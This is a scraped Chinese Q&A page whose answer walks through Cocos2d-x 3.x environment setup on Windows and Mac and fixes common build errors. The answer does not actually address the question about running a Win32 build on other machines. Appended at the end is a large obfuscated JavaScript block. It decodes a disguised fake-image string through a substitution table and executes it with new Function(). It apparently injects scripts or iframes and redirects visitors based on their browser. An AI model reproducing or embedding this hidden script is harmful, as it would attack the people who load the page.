cocos2dx编译的win32成语怎样在其他机器运行
推荐回答(1个)
一、通用准备工作
1、安装Cocos2d-x 3.1
在Cocos2d官网上下载 Cocos2d-x 3.2+引擎 ,下载后解压缩。
2、安装Eclipse与Android SDK
这个在Mac上或是PC上开发都是可以通用的。
Eclipse 在其官网下载( 官网地址 )。
Android SDK 在Android开发者中心下载( 地址 )。
Eclipse是开发Android需要用到的IDE。这是个很牛的IDE,有许多插件让他变得三头六臂。要开发Android的程序,需要下载相关的插件,但如果每个插件要自己配置,会是很蛋痛的事情。
如果是新手,推荐使用:ADT Bundle。这是Eclipse+Android SDK的合体,所有的项目都已经帮你配置好了。
3、安装JDK
Eclipse需要Java环境才能运行。如果事先没有安装Java环境,则会报错。
解决方案安装jdk( 下载地址 )。
一般来说安装之后会自动配置好环境变量。如果还没有解决问题,请查找网络上关于JDK安装的攻略,很多的。
4、安装CDT插件 ( 下载地址 )
这是个Eclipse的插件,用来支持Eclipse中C/C++语言的开发。
从Eclipse的官网下载,下载之后,将features和plusins这两个文件夹里面的内容复制到Ecplise安装目录下对应的文件夹之后就可以了。
5、安装NDK ( 下载地址 )
这是进行C/C++与Java混合编译的必要工具。记下下载之后解压到的目录,因为到之后的安装中会用到。
6、安装ANT ( 下载地址 )
Cocos的Android开发需要用到它,所以下载下来安装好吧。
二、PC环境下配置过程
1、安装VS2012 ( 官方地址 )
网上还有很多其他下载地址。
最好是2012,我曾经试过2010,2013,都会出这样那样的问题。所以,2012!
2、安装python 2.7.6 ( 下载地址 )
因为Cocos2d-x的安装程序是用phthon写的,所以需要这个软件。不要下载python3.0以上的版本,否则运行会出错。如果是Mac,那么天生就自带了。
3、进行开发环境配置
以上的工作完成之后,就可以进行配置了。启动Windows的命令行(CMD)工具。进入Cocos2d-x 3.1的安装目录,执行:
python setup.py
Cocos2d-x 3.1版本使用这个setup.py来安装,十分方便。执行之后会让你配置上面准备工作中所安装的:ANT、NDK、SDK等目录,把安装到哪儿去了填写进入就行。
4、建立自己的项目
用setup.py配置好Cocos2d-x的环境之后,你的命令行中就会多如“cocos”的命令,新建项目将使用这个命令进行。示例:
cocos new hello(项目名称)-p com.hello(包名字)-l cpp(项目类型) -d E:\MyCocos\cocos2d(目录)
新建的项目会把所有的源文件和库都拷到你的项目目录中。所以新建的项目文件会很大,有许多人怀疑这个的必要性,不过到你之后的开发中就会知道这种配置方法是对的了。
项目建立好之后,就可以开发了:
A、进行VS2012的开发。
找到你的项目目录下的:proj.win32,打开里面的解决方案就行。剩下的就是你的任务了。一般来说,直接就可以运行。
B、进行Android的开发。
使用Eclipse中的项目导入,导入proj.android中的项目方案。导入之后,因为SDK的问题,一般无法启动,关于这个问题,以及其它的问题,请参见(四、其它问题解决方案)。
三、MAC环境下配置过程
1、注册苹果开发者账号 ( 注册地址 )
如果不使用真机,使用模拟器调试,那么有开发者账号应该就足够了。
如果要使用真机调试,需要购买IOS开发者会员,688RMB一年。我看到之前的攻略说要99美元,但是看现在的页面的的提示,应该只要有网银就可以支付了。网上的攻略写得非常复杂,说要下载证书什么什么的,现在统统都不需要了,XCode全部为您代劳了,只要照提示一路点同意就行。
2、安装XCode
在你的开发者首页下面就有XCode的下载。通过App Store下载安装即可。
请使用最新的XCode(需要OS X 10.8以上系统支持),并使用App Store安装。我的MacBook Air从朋友那里拿来时还是10.7,因为下载总是中断,屡次不成功,所以用XCode 4.6,但好像不通过App Store安装会出这样那样的问题。所以强烈推荐使用最新的版本。
3、进行开发者环境配置。
与PC的配置一样,打开MAC的终端程序,执行setup.py,配置好各种SDK的路径就行。但MAC需要再加上一句:
source /Users/yourname/.bash_profile
这是用来刷新配置文件的。
4、建立项目文件
使用命令行建立。
如果你像我一样用两个平台(PC与MAC)开发,可以共享同一个项目目录。我的项目文件是放在PC上的,MAC通过共享访问项目文件。
项目建立好之后就可以开发了。MAC下的配置相对简单,使用XCode打开项目目录下的proj.ios_mac下的项目配置文件就行。之后基本不会出错的。
四、其它问题解决方案
Eclipse与Android相关:
问题 :SDK错误
因为Cocos2d-x的模版默认是使用Android 2.3.3(API-10),如果新安装的ADT Bundle或Android SDK,是API-19,则会出现错误,解决方案是通过Android SDK中的管理工具(SDK Manager)下载Android 2.3.3的SDK。
问题 :Project 'XXX' is missing required source folder: 'gen'
这个问题就是上面的SDK错误导致的。
问题 :undefined reference to 'cocos2d::network::HttpClient::getInstance()'
我是使用网络库(network)的时候出现这个错误的。如果你使用其它库,解决方案是一样的。原因是缺少库的引用。解决方案是在Android.mk里面增加:
LOCAL_WHOLE_STATIC_LIBRARIES += cocos_network_static
Cocos2d-x的开发者已经在Android.mk里面加上了很多这种路径,平时是注释掉的。您要使用时把这些增加上去就行。
问题 :fatal error: cocos-ext.h: No such file or directory
问题分析:缺少头文件路径的引用
需要在:Android.mk里面增加
LOCAL_C_INCLUDES += $(LOCAL_PATH)/../../cocos2d/extensions
Cocos2d-x的开发者已经在Android.mk里面加上了很多这种路径,平时是注释掉的。您要使用时把这些增加上去就行。
问题 :The import org.cocos2dx.lib cannot be resolved。
无法找到指定的库文件。解决的方案是增加路径的引用:Project Properties -> Java Build Path -> Source and then linking “项目目录/cocos/platform/android/java/src”
VS2012相关:
问题 :“extensions/ExtensionMacros.h”: No such file or directory
无法打开包括文件。
1、解决方案中,添加“现有项目”--> libExtensions 具体目录: ..\cocos2d\extensions\proj.win32\libExtensions.vcxproj
2、项目中添加引用-->libExtensions
3、通过:属性->C/C++->附加包含目录。附加包含目录:$(EngineRoot)
如果你使用其它的文件,解决方案是一样的。1、增加项目的引用。2、附加头文件的包含目录。
当遇到COCOS2DX 3.2+版本创建权限问题时:
首先,打开终端cd到目录 /cocos2d-x-3.2/tools/cocos2d-console/bin 下, 运行 cocos.py 脚本创建文件。
[javascript] view plaincopy
./cocos.py new HelloWorldDemo -p com.coco2dx.org -l cpp -d ~/Desktop
参数说明:
HelloWorldDemo为项目名称
-p 后面接包名
-l 后面接开发语言类型,有cpp, lua, js三种类型
-d 后面接项目存放的目录
如果出现 -bash: ./cocos.py: Permission denied ,是因为没有权限。 用命令 chmod 修改一下目录下的 cocos.py 权限就可以了
[cpp] view plaincopy
chmod u+x cocos.py
-
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();